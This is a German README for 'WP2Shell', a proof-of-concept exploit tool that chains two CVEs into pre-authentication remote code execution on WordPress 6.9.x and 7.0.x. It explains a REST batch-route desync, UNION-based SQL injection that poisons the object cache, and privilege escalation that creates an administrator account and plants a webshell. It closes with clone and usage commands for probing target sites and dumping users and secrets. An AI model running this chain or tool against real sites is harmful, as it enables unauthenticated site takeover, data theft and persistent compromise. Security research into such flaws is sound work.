
PoC für CVE-2026-63030 + CVE-2026-60137, auch bekannt als WP2Shell
Pre-Authentication Remote Code Execution für WordPress 6.9.0–6.9.4 und 7.0.0–7.0.1.
Verkettet CVE-2026-63030 (Batch-Routen-Verwirrung SQLi) mit CVE-2026-60137 (Customizer-Änderungssatz-Wiedereintritt), um eine nicht authentifizierte Administratorerstellung und Betriebssystem-Befehlsausführung zu erreichen. Kein Passwort-Knacken erforderlich.

Props an hashkitten für die Entdeckung, lesen Sie die vollständige technische Analyse von SLCyber hier.
Der REST-API-Batch-Prozessor von WordPress (serve_batch_request_v1) hat einen Off-by-One-Indizierungsfehler: Wenn wp_parse_url() bei einem Unteranfragepfad fehlschlägt, wird das resultierende WP_Error zu $validation[] hinzugefügt, aber nicht zu $matches[]. Dies desynchronisiert die beiden Arrays – jede nachfolgende Anfrage wird unter dem falschen Handler ausgeliefert.
Durch Verschachteln eines sorgfältig strukturierten Batches innerhalb eines anderen Batches kann ein Angreifer:
author__not_in injizieren (der String→Array-Cast überspringt absint())UNION SELECT verwenden, um den Objekt-Cache von WordPress mit gefälschten Beitragsobjekten zu vergiftenSobald die Einrichtung abgeschlossen ist (Tabellenpräfix und Admin-ID ermittelt), wird die Eskalationsnutzlast in einer einzigen HTTP-Anfrage ausgelöst – Cache-Vergiftung, Berechtigungserhöhung und Benutzererstellung erfolgen serverseitig in einem Round-Trip.
HTTP POST /batch/v1
│
▼
┌─ Äußerer Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → Parse-Fehler, nicht zu $matches hinzugefügt │
│ [1] POST /wp/v2/posts → $matches[0] (Posts Handler) │
│ [2] POST /batch/v1 → $matches[1] (Batch Handler) │
│ │
│ Desync: request[1] dispatch via $matches[1] │
│ POST /wp/v2/posts body interpretiert als Batch → inner fire │
│ │
└──────────────────────────────────────┬──────────────────────────────┘
│
┌──────────────────────────────────┘
▼
┌─ Innerer Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → Parse-Fehler (Desync) │
│ [1] GET /wp/v2/widgets?UNION... → dispatch durch Posts Handler │
│ ▲ WP_Query führt UNION aus, vergiftet Objekt-Cache │
│ ▲ the_content rendert [embed] → oEmbed → Hierarchie Loop 1 │
│ → changeset veröffentlicht → Admin-Kontext gesetzt │
│ → nav_menu_item UPDATE → Hierarchie Loop 2 │
│ → parse_request → REST-Wiedereintritt ─────────────┐│
│ │ │
│ [2] GET /wp/v2/posts (Categories Handler) │ │
│ [3] GET /wp/v2/categories (Users Handler) │ │
│ [4] POST /wp/v2/users {body} ◄── Wiedereintritt mit Admin ─────┘│
│ ▲ Desync gleicht dies mit dem Users Handler ab │
│ ▲ Admin-Kontext → Benutzer erstellt → die() │
│ [5] POST /wp/v2/users {} (Desync-Spacer) │
│ │
└─────────────────────────────────────────────────────────────────────┘
Cache-Vergiftung (7 gefälschte Beiträge via UNION):
[embed]-Shortcode in seinem Inhaltcustomize_changeset, Status future, Datum in der Vergangenheit)post_type=nav_menu_item für den is_nav_menu_item-Check)post_type=request, post_status=parse, parent=inner)Ausführungsablauf:
[embed]-Shortcode feuertwp_update_postwp_update_post liest das gecachte Changeset (parent=outer) → Hierarchieprüfung erkennt Loop 1future → automatisch in publish umgewandelt_wp_customize_publish_changeset feuert → wp_set_current_user(admin_id) → Admin-Kontext aktivnav_menu_item[real_id] – Cache sagt Typ=nav_menu_item → UPDATE-Pfadobject_id löst einen gecachten Beitrag mit post_parent=re-entry auf → wp_update_post auf echtem Beitrag$post_id) erkennt Loop 2 (re-entry ↔ inner)wp_update_post(re-entry) auf → schreibt Typ=request, Status=parse in DBwp_transition_post_status feuert do_action("parse_request") → rest_api_loaded() → serve_request()POST /wp/v2/users im hinteren Teil erfolgreich → Administrator erstellt → die()Eine Anti-Rekursions-MySQL-Sitzungsvariable (@_wp2s) stellt sicher, dass die Kette genau einmal feuert und sich nicht wiederholt.
--cleanup löscht den erstellten Benutzer und entfernt die Webshell beim Beendengit clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
Kein pip install, kein virtualenv. Es ist eine Datei.
# Passiver boolean-Orakel-Test
python3 wp2shell.py check http://target.com
# Auch mit Timing und UNION bestätigen
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union
# Wählt automatisch die schnellste Technik aus (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"
# Erzwinge eine bestimmte Technik
python3 wp2shell.py read http://target.com --technique blind --preset users
# Tabellenpräfix automatisch erkennen
python3 wp2shell.py read http://target.com --auto-prefix --preset users